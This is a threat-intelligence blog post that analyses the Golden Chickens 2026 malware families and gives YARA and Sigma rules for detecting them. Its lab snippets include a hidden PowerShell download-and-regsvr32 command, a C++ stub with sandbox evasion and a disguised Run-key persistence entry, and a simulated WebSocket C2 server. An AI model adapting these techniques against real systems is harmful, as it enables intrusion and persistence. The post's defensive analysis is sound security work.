Golden Chickens 2026: Four New Malware Families, Modular MaaS Architecture, and Why the Most Resilient Crimeware Ecosystem Keeps Reinventing Itself

Every few years a crimeware operation goes quiet, defenders write the obituary, and then the same people show up with a cleaner codebase and a better business model. Golden Chickens is the poster child for that cycle. On July 24, 2026, Recorded Future’s Insikt Group dropped a report on the developer they track as TAG-195, and it confirmed something a lot of us suspected while staring at TerraLogger last year: the operators were not sunsetting the ecosystem. They were refactoring it. Four new families, a controller-and-plugin design, and a deliberate answer to every capability gap the old arsenal left open.

This is a full teardown of that resurgence: the loader chain, the WebSocket C2, the Chrome App-Bound Encryption bypass, the modular architecture, and the business logic underneath all of it. More importantly, it is a blueprint for detection that does not evaporate the next time these people recompile.

Who Golden Chickens Actually Is

Start with the naming, because vendors have muddied it. Golden Chickens, Venom Spider, and GC are interchangeable public aliases for the same Malware-as-a-Service (MaaS) operation. Recorded Future splits the entity more precisely than the aliases do, and that split matters for attribution hygiene.

The distinction is not academic. TAG-195 builds; TAG-127 (and historically others) rents and runs. Over the years the platform has been fed to some heavyweight financially motivated crews: FIN6, Cobalt Group, and Evilnum have all been documented using Golden Chickens tooling in real campaigns. When you read a headline saying “FIN6 deployed more_eggs,” what actually happened is FIN6 bought access to a product TAG-195 wrote. Insikt Group is careful to only assert the developer plus one confirmed operator here. So am I. Do not go attributing the 2026 campaigns to a specific named crew beyond TAG-127; the other operator identities are not publicly confirmed, and pretending otherwise is how bad threat intel gets written.

The MaaS Business Model, and Why It Keeps the Ecosystem Alive

The reason Golden Chickens survives public exposure over and over is not superior malware. It is a business structure that treats detection as a cost of doing business rather than an existential threat.

In a MaaS model the developer and the operator are decoupled. TAG-195 maintains the codebase, the staging infrastructure patterns, and the feature roadmap. Operators pay for access and get a provisioned capability set. When a security vendor burns a tool, it burns the operator’s current campaign, not the developer’s product line. The developer retools, re-provisions, and the machine keeps running.

The 2026 generation weaponizes that decoupling at the architecture level. Recorded Future put it plainly: the shift to a modular design “almost certainly reduces the base implant’s static detection exposure, and likely also reflects commercial incentives inherent to the MaaS model, including the ability to provision capabilities selectively to operators, limit exposure if a customer is compromised, and serve a broader range of operational requirements.”

Read that again through a product-management lens:

• Selective provisioning. A low-tier operator gets the shell and profiling. A high-tier one unlocks browser session hijacking and lateral movement. Same base implant, different SKUs.
• Blast-radius containment. If a customer gets compromised or flipped, they only expose the modules they were shipped, not the whole arsenal.
• Detection amortization. When a plugin gets signatured, you swap that one plugin. The controller, the C2 framework, and the other thirteen modules keep working.

This is why “we caught the sample” is a losing frame against this ecosystem. You need detections that survive the retooling cycle, and that means anchoring on behavior and structure instead of bytes.

Genealogy of an Arsenal: 2017 to 2025

You cannot understand the 2026 families without seeing what they replaced. The legacy arsenal was capable but visibly incomplete, and the gaps tell you exactly where the developers were headed.

A few technical details from the legacy generation are worth carrying forward because they became IOCs:

• Golden Chickens tools ship as ActiveX components (OCX files), and historically all contained TerraLoader code acting as the common loader. That shared-loader design was the single biggest static-detection liability, and the 2026 refactor kills it.
• The classic delivery chain used wmic.exe to invoke regsvr32.exe, which loaded a malicious OCX from a remote share. The Evilnum affiliate variant used cmstp.exe with a malicious INF to reach a scriptlet that eventually hit regsvr32.exe.
• TerraLoader resolved function addresses dynamically by CRC32 hash, XOR’d so you could not just precompute and match hash constants. That is a small but telling sign of a developer who thinks about static analysis.

Now the two gaps that the 2026 generation was clearly built to close. TerraStealerV2 targeted Chrome’s Login Data SQLite database but could not defeat Application Bound Encryption (ABE), the protection Google shipped after July 2024. That meant the stealer was pulling encrypted blobs it could not open on modern Chrome. And TerraLogger had no C2 whatsoever: it hooked the keyboard with SetWindowsHookEx/WH_KEYBOARD_LL and wrote logs to local files, full stop. A keylogger with no exfiltration is not a product. It is a component waiting for an architecture.

That architecture arrived in 2026.

The 2026 Toolset: Four Families, One Framework

The critical framing from Insikt Group: these four are “an architectural evolution, sharing common command-and-control mechanisms, persistence approaches, string obfuscation, and delivery models.” They are not four unrelated tools. They are one framework with a shared spine, and that shared spine is exactly where durable detection lives.

Deep Dive: TinyEgg (Loader Chain, C2, Persistence)

TinyEgg is deliberately small. Its job is initial access and reconnaissance, nothing more: profile the host, provide an interactive shell, hand everything else to ChonkyChicken.

Delivery

Attack chains use ClickFix lures to get an OCX payload onto disk and running. The victim is walked through pasting a command into the Run dialog, which fetches an OCX from attacker staging infrastructure and executes it via regsvr32.exe. That is the whole trick: no exploit, no malicious attachment, just a human running a Living-off-the-Land Binary against a remote file.

In a lab you can reproduce the telemetry this generates without touching live infrastructure. Author a benign COM-registered OCX stub, host it on a local HTTP server, and drive the chain:

# Lab only. Benign stub, host-only network, no EDR.
# Simulates the ClickFix -> download -> regsvr32 execution pattern.
powershell -w hidden -c "Invoke-WebRequest -Uri http://127.0.0.1:8080/egg.ocx -OutFile $env:TEMP\egg.ocx; regsvr32.exe /s $env:TEMP\egg.ocx"

The stub’s DllRegisterServer is where the interesting behavior lives. In the real family this is where sandbox evasion and persistence get wired up:

// tinyegg_stub.cpp - illustrative, benign lab stub (NOT the real implant)
#include <windows.h>

static bool LooksLikeSandbox() {
    HKEY h;
    // TinyEgg-style environment check: bail on known VM artifacts
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &h) == ERROR_SUCCESS) {
        RegCloseKey(h);
        return true;
    }
    // (real sample also enumerates vmtoolsd.exe / vboxservice.exe, etc.)
    return false;
}

STDAPI DllRegisterServer() {
    if (LooksLikeSandbox()) return S_OK;  // early exit, no persistence written

    // Registry Run key persistence (HKCU) - confirmed TAG-195 standard
    HKEY run;
    RegOpenKeyExW(HKEY_CURRENT_USER,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_SET_VALUE, &run);
    const wchar_t* cmd = L"regsvr32.exe /s C:\\Users\\Public\\egg.ocx";
    RegSetValueExW(run, L"WindowsUpdate", 0, REG_SZ,
        (const BYTE*)cmd, (DWORD)((wcslen(cmd)+1)*sizeof(wchar_t)));
    RegCloseKey(run);
    return S_OK;
}

Two behaviors here are load-bearing for defenders. TinyEgg terminates early if it detects a sandbox or automated-analysis environment, so your dynamic analysis has to look like a real, lived-in workstation. And persistence is a registry Run key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, the same mechanism ChonkyChicken uses. Insikt Group flagged that shared persistence standard explicitly, and it is one of the most durable detection anchors in the whole ecosystem.

The WebSocket C2

Here is where the 2026 generation departs hard from the old script-backdoor model. TinyEgg talks to its controller over WebSockets (RFC 6455) using a JSON-formatted, task-driven protocol. It registers the host, receives operator-supplied commands into a live shell, ships the output back, and can stage further OCX payloads over the same channel.

The design goal is network-detection evasion. WebSocket masking (RFC 6455 mandates client-to-server frame masking) means the payload bytes on the wire are XOR’d with a per-frame key, so naive signature matching on command strings fails. Masquerading over 443 makes it look like ordinary encrypted web traffic.

You can stand up a lab C2 to study the exchange:

# Lab C2 - SIMULATED, educational. Mirrors the register -> task -> result loop.
import asyncio, json, websockets

async def c2_handler(ws):
    reg = json.loads(await ws.recv())           # host registration
    print(f"[C2] Host registered: {reg}")
    await ws.send(json.dumps(                    # operator task
        {"task_id": "001", "type": "shell", "cmd": "whoami"}))
    print(f"[C2] Result: {await ws.recv()}")     # command output

async def main():
    async with websockets.serve(c2_handler, "127.0.0.1", 4444):
        await asyncio.Future()

asyncio.run(main())

One honesty note: the exact JSON field names and struct layouts of the real protocol are not publicly disclosed in the open-source reporting. The names above are illustrative of the shape (register, task, result), not the real schema. Recorded Future’s portal report carries the proprietary annexes; do not treat lab field names as IOCs.

The detection pivot that does survive is the handshake. Even with frame masking, the connection opens with a plaintext HTTP upgrade:

GET /ws HTTP/1.1
Host: xtrafftrck.net
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

That Upgrade: websocket header, especially following immediately after a regsvr32.exe execution and a DNS query to a freshly-seen domain, is your network anchor. Infrastructure tied to the 2026 campaigns includes xtrafftrck[.]net and staging at 70.34.205[.]43 (both defanged, both burnable, both far less durable than the behavioral pattern).

Deep Dive: ChonkyChicken (Browser Hijacking, Surveillance, Lateral Movement)

If TinyEgg is the foot in the door, ChonkyChicken is the operator moving in and rearranging the furniture. It is a fully featured implant, and it is where the interesting post-exploitation lives.

Live browser session control via CDP

The standout capability is browser session hijacking through the Chrome DevTools Protocol (CDP). This is not just stealing cookies. By attaching to Chrome’s remote-debugging interface, ChonkyChicken can drive a live, authenticated browser session in real time. Insikt Group calls out why this matters for incident response: it lets attackers keep interacting with authenticated environments even after a password reset, because they are riding an existing session, not replaying credentials.

That breaks a huge assumption in most IR playbooks. “We reset the password and killed the tokens” does not evict an attacker who is puppeteering the actual browser process. The observable is a process opening or spawning Chrome with a remote-debugging port and connecting to it:

chrome.exe --remote-debugging-port=9222
netstat -ano | findstr 9222   # attacker/tooling connects to the CDP endpoint

Surveillance and lateral movement

Beyond the browser, ChonkyChicken collects keystrokes, clipboard contents, audio recordings, and screenshots, giving operators sustained visibility. For movement it can:

• reuse available credentials or access tokens,
• check logged-in sessions without generating authentication events (a quiet way to map who is where),
• create remote scheduled tasks,
• scan ports, discover hosts, and enumerate accessible network shares.

The “no authentication event” detail is the kind of tradecraft that defeats login-centric detection. You will not see a 4624/4625 for that reconnaissance, which is exactly why endpoint and behavioral telemetry matter more than auth logs here.

The shared C2 standard

ChonkyChicken uses the same bidirectional WebSocket tasking framework as TinyEgg, RFC 6455 compliant, structured, operator-directed. Both families “replace opportunistic exfiltration with a structured, bidirectional WebSocket tasking framework.” One protocol, two families, and therefore one network detection strategy that covers both stages.

The Modular Revolution: Controller-and-Plugin Architecture

Then came the refactor that gives this whole story its name. Rather than keep bolting features onto the monolithic ChonkyChicken, TAG-195 built a dedicated controller implant whose only responsibilities are WebSocket comms, host registration, task routing, and module lifecycle management. Actual capabilities ship as discrete OCX plugins pulled from C2 on demand.

Insikt Group documented support for at least 14 distinct capability modules, including process management, screen capture, keylogging, and browser theft. This is the design TerraLogger foreshadowed in 2025: a C2-less keylogger only makes sense if it was always meant to be a plugin slotting into a controller that provides the comms.

Why this is a detection problem, stated bluntly: the base controller contains none of the malicious feature code. No keylogging strings, no screenshot logic, no browser-theft routines. You can stare at the controller binary with a YARA rule tuned for “keylogger” and find nothing, because that code is a separate OCX that only shows up at runtime when the operator provisions it.

You can model the loader in a lab to see the consequence:

Controller stub behavior:
  1. Connect to WebSocket C2
  2. Receive module descriptor:
     {"module": "keylog", "url": "http://127.0.0.1:8080/keylog.ocx"}
  3. Download + register the plugin OCX at runtime (regsvr32 / LoadLibrary)

Detection reality:
  - Sysmon Event ID 7 fires per plugin OCX loaded into the controller
  - The controller has NO keylogging strings -> static YARA on it fails
  - YARA must be written per-plugin, or you anchor on the load behavior

That is the single most important takeaway about the modular design: static signatures on the base implant are structurally defeated by design. You have to detect the loading event and the runtime behavior, not the resting bytes.

ChromEggscalator: Breaking Chrome’s App-Bound Encryption

ChromEggscalator is the family that closes the TerraStealerV2 gap. It is a modified fork of the open-source ChromElevator tool, purpose-built to defeat Chrome’s App-Bound Encryption, the exact protection the old stealer choked on.

ABE ties the decryption of Chrome secrets to a privileged elevation service, so a random user-context process cannot just read Login Data and decrypt it. The bypass path abuses that service by invoking its COM interface, roughly:

// Conceptual - the ABE bypass invokes the Chrome elevator COM service
CoCreateInstance(CLSID_ChromeElevator, /* ... */);
// then requests decryption of the app-bound-encrypted secret

What makes ChromEggscalator interesting is not the bypass itself (ChromElevator is public) but the productization. TAG-195’s modifications tell you everything about how disciplined this dev team is:

Every one of those changes aligns the tool with the shared execution and collection conventions used across TinyEgg, ChonkyChicken, and Modular ChonkyChicken. Filename gating defeats naive sandbox detonation. OCX packaging fits the regsvr32 delivery spine. Structured output plugs straight into the WebSocket exfil framework. This is not a bolt-on. It was rebuilt to be a native part of the framework, which is exactly the coordination Insikt Group flagged.

The ClickFix Delivery Chain

The 2026 campaigns run by TAG-127 lead with ClickFix, and it is worth being precise about why it works. A ClickFix lure is a fake verification or CAPTCHA page that instructs the victim to copy a string and paste it into the Windows Run dialog. That pasted command downloads an OCX and launches it with regsvr32.exe, standing up TinyEgg before ChonkyChicken ever arrives.

The reason this sails past email security gateways is that there is no malicious payload in the email or on the page to scan. The lure is a webpage with instructions. The “weapon” is a legitimate Windows binary (regsvr32.exe) executing a legitimate operation (registering a COM component) against a file the victim fetched. Attachment sandboxing has nothing to detonate. URL reputation might catch the staging domain, but that domain is cheap and rotated. The human is the exploit.

That is why file-based prevention is the wrong layer to fight this at. The signal is in the process lineage: a browser or Run-dialog action spawning regsvr32.exe that reaches out to the internet and writes a Run key.

Detection That Survives Retooling

Here is the thesis of the entire post. Do not build your detection strategy on sample hashes or plugin-specific strings. TAG-195’s whole architecture is engineered to reset those. Build on the parts of the framework they cannot change without rewriting the product: the delivery spine, the persistence standard, the C2 transport shape, and the abnormal parent-child process relationships.

Anchor on these durable behaviors:

• regsvr32.exe loading an OCX from a user-writable or remote path, especially with a non-system parent (Run dialog, browser, cmd, powershell, wscript).
• A Run key under HKCU\...\Run referencing regsvr32 and an OCX – the shared TinyEgg/ChonkyChicken persistence standard.
• A regsvr32 process making outbound network connections, followed by a WebSocket Upgrade handshake to a newly-seen domain.
• Chrome launched with --remote-debugging-port and a non-Chrome process connecting to that CDP port.
• A non-Chrome process touching %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data or invoking the Chrome elevator COM service.
• Runtime OCX loads (Sysmon Event ID 7) into a long-lived controller process that had no such capabilities at rest.

Map those to Sysmon and you get concrete queries:

Enable command-line auditing (ProcessCreationIncludeCmdLine_Enabled = 1) and lean on the Microsoft-Windows-WebIO and Microsoft-Windows-RPC ETW providers for WebSocket and COM-elevator telemetry respectively.

YARA for the 2026 Generation

Because the modular design defeats static rules on the controller, YARA belongs on the delivery artifacts and the individual plugins, not the base implant. Anchor on the OCX/PureBasic heritage and delivery structure rather than feature strings.

rule GC2026_OCX_Delivery_Heuristic
{
    meta:
        author = "GenXCyber"
        description = "Heuristic for Golden Chickens 2026 OCX delivery artifacts"
        reference = "Recorded Future TAG-195, 2026-07-24"
        note = "Structural/heuristic - tune before production; plugins require per-module rules"
    strings:
        $exp1 = "DllRegisterServer" ascii
        $exp2 = "DllUnregisterServer" ascii
        $run  = "CurrentVersion\\Run" ascii wide
        $rsvr = "regsvr32" ascii wide nocase
        $ws   = "Sec-WebSocket-Key" ascii wide
        $pb   = "PureBasic" ascii   // legacy TerraLoader runtime string
    condition:
        uint16(0) == 0x5A4D and
        1 of ($exp*) and
        (($run and $rsvr) or $ws or $pb)
}

Treat this as a hunting heuristic, not a high-confidence signature. The controller will not carry keylogging or screenshot strings; write separate rules per captured plugin OCX, and expect to refresh them every retooling cycle. That churn is the point, and it is why the Sigma behavioral rules below carry more of the load.

Sigma for the SOC

Suspicious regsvr32 loading OCX from temp or remote path:

title: Suspicious regsvr32 Loading OCX from Temp or Remote Path
status: experimental
description: regsvr32.exe loading an OCX from a user-writable or remote path,
  consistent with Golden Chickens TAG-195 delivery (TinyEgg/ChonkyChicken).
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains:
      - '\Temp\'
      - '\AppData\Local\Temp\'
      - '\AppData\Roaming\'
      - 'http://'
      - 'https://'
      - '.ocx'
  condition: selection
falsepositives:
  - Legitimate installers using regsvr32 with OCX from staging paths
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.010

Run-key persistence written by a regsvr32/script lineage:

title: Registry Run Key Persistence via regsvr32 Chain (Golden Chickens Pattern)
status: experimental
description: HKCU Run key created by regsvr32/wscript/powershell lineage,
  consistent with TinyEgg/ChonkyChicken persistence standard.
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    EventType: SetValue
    TargetObject|contains: '\CurrentVersion\Run\'
    Image|endswith:
      - '\regsvr32.exe'
      - '\wscript.exe'
      - '\powershell.exe'
  condition: selection
falsepositives:
  - Legitimate software installers
level: high
tags:
  - attack.persistence
  - attack.t1547.001

Chrome remote-debugging abuse (CDP session hijack):

title: Chrome Launched With Remote Debugging Port (Possible CDP Session Hijack)
status: experimental
description: chrome.exe started with --remote-debugging-port, consistent with
  ChonkyChicken live browser session control via CDP.
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\chrome.exe'
    CommandLine|contains: '--remote-debugging-port'
  condition: selection
falsepositives:
  - Developers and automated browser testing (Selenium, Puppeteer)
level: medium
tags:
  - attack.credential_access
  - attack.t1185

MITRE ATT&CK Coverage

Why Modular MaaS Is the New Normal

Golden Chickens is not special because its malware is clever. Plenty of the components are forks of public tooling (ChromEggscalator is literally modified ChromElevator). It is special because the organization around the malware is built to absorb detection. Decouple the developer from the operator, refactor a monolith into a controller with fourteen swappable plugins, standardize delivery on a Living-off-the-Land binary, and move C2 onto a masked, RFC-compliant transport. Every one of those decisions is a hedge against the day a vendor writes it up.

That is the pattern you will see again from other crews, because it works. The defensive answer is not faster signature-writing. It is committing to detection at the layer these operators cannot cheaply change: the regsvr32-to-OCX-to-Run-key spine, the WebSocket handshake, the CDP abuse, the COM elevator calls. Burn a domain and they buy another. Burn a plugin and they ship a new one. Burn the behavior and you have coverage that outlives the retooling cycle.

Key Takeaways

• The four families are one framework. TinyEgg (access), ChonkyChicken (post-ex), Modular ChonkyChicken (controller+plugins), and ChromEggscalator (ABE bypass) share C2, persistence, obfuscation, and delivery. Detect the shared spine.
• The 2026 generation closes the two legacy gaps on purpose: ChromEggscalator gives them Chrome ABE bypass, and the WebSocket framework gives the old C2-less keylogger a home as a plugin.
• The modular controller structurally defeats static YARA on the base implant. Malicious capability lives in on-demand OCX plugins, so anchor on the runtime load event and behavior, not resting bytes.
• ClickFix beats email gateways because there is nothing to scan. The victim fetches the payload and regsvr32 runs it. Fight it in process lineage, not attachment sandboxing.
• CDP session hijacking survives password resets. Update IR playbooks: killing credentials does not evict an attacker riding a live browser session.
• Retooling resets hashes, not tradecraft. Build behavioral and structural detections (Sysmon 1/3/7/13, WebSocket upgrade, Run-key + regsvr32 + OCX) and they will still fire after the next recompile.

For the proprietary annexes (exact WebSocket JSON schema, plugin descriptors, full IOC set), the source is the Recorded Future Insikt Group TAG-195 report. The field names and struct layouts were not publicly disclosed at the time of writing, so treat any lab schema as illustrative, not as an indicator.

Related Tutorials

• Windows OS Architecture

References

• references
• Golden Chickens Resurfaces With Four New Malware Families and Modular Implants (The Hacker News)
• Golden Chickens Unveils TerraStealerV2 and TerraLogger (Recorded Future / Insikt Group)
• More_eggs, Software S0284 | MITRE ATT&CK
• The Chicken Keeps Laying New Eggs: Uncovering New GC MaaS Tools Used By Top-tier Threat Actors (QuoIntelligence)
• Golden Chickens lays ‘More_eggs lite’ backdoor (Field Effect)